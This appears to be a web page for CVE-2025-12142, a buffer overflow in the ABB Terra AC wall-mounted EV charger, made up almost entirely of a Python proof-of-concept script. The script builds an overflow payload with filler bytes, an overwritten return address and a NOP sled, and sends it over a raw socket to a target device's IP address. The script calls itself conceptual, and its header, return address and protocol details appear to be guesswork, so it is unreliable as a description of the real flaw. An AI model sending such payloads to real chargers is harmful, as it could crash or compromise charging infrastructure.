CVE-2025-12142: ABB Terra AC壁挂式充电桩缓冲区溢出漏洞

# CVE-2025-12142 PoC - ABB Terra AC Buffer Overflow # Note: This is a conceptual proof-of-concept for educational purposes only import socket import struct def create_malicious_payload(payload_size=1024): """ Create a buffer overflow payload for ABB Terra AC wallbox The actual vulnerable function doesn't check input size before copy """ # Buffer overflow payload - exceeds expected buffer size # Target the network service handling user input header = b"TERRA_CMD" # Fill buffer beyond its capacity overflow_data = b"\x41" * payload_size # Overwrite adjacent memory with controlled values # EIP overwrite pattern (if buffer is on stack) eip_overwrite = struct.pack("<I", 0xdeadbeef) # Jump address # Additional shellcode or NOP sled could be added here nop_sled = b"\x90" * 100 payload = header + overflow_data + eip_overwrite + nop_sled return payload def exploit_terra_ac(target_ip, target_port=443): """ Send malicious payload to ABB Terra AC wallbox Requires high-privilege authentication (PR:H) """ try: payload = create_malicious_payload(1024) # Establish connection to vulnerable service sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) # Send authentication headers (requires high privilege) auth_header = b"Authorization: Bearer <admin_token>\r\n" sock.send(auth_header) # Send malicious payload sock.send(payload) print(f"[+] Payload sent to {target_ip}:{target_port}") print(f"[+] Payload size: {len(payload)} bytes") # Check for response (device may crash or respond with error) try: response = sock.recv(1024) print(f"[+] Response: {response}") except: print("[-] No response - device may have crashed") sock.close() return True except Exception as e: print(f"[-] Exploit failed: {e}") return False if __name__ == "__main__": # Target configuration TARGET_IP = "192.168.1.100" # ABB Terra AC IP TARGET_PORT = 443 print("=" * 60) print("CVE-2025-12142 PoC - ABB Terra AC Buffer Overflow") print("=" * 60) print(f"Target: {TARGET_IP}:{TARGET_PORT}") print(f"Vulnerability: Buffer Copy without Checking Size of Input") print(f"CVSS: 6.1 (Medium)") print("=" * 60) exploit_terra_ac(TARGET_IP, TARGET_PORT)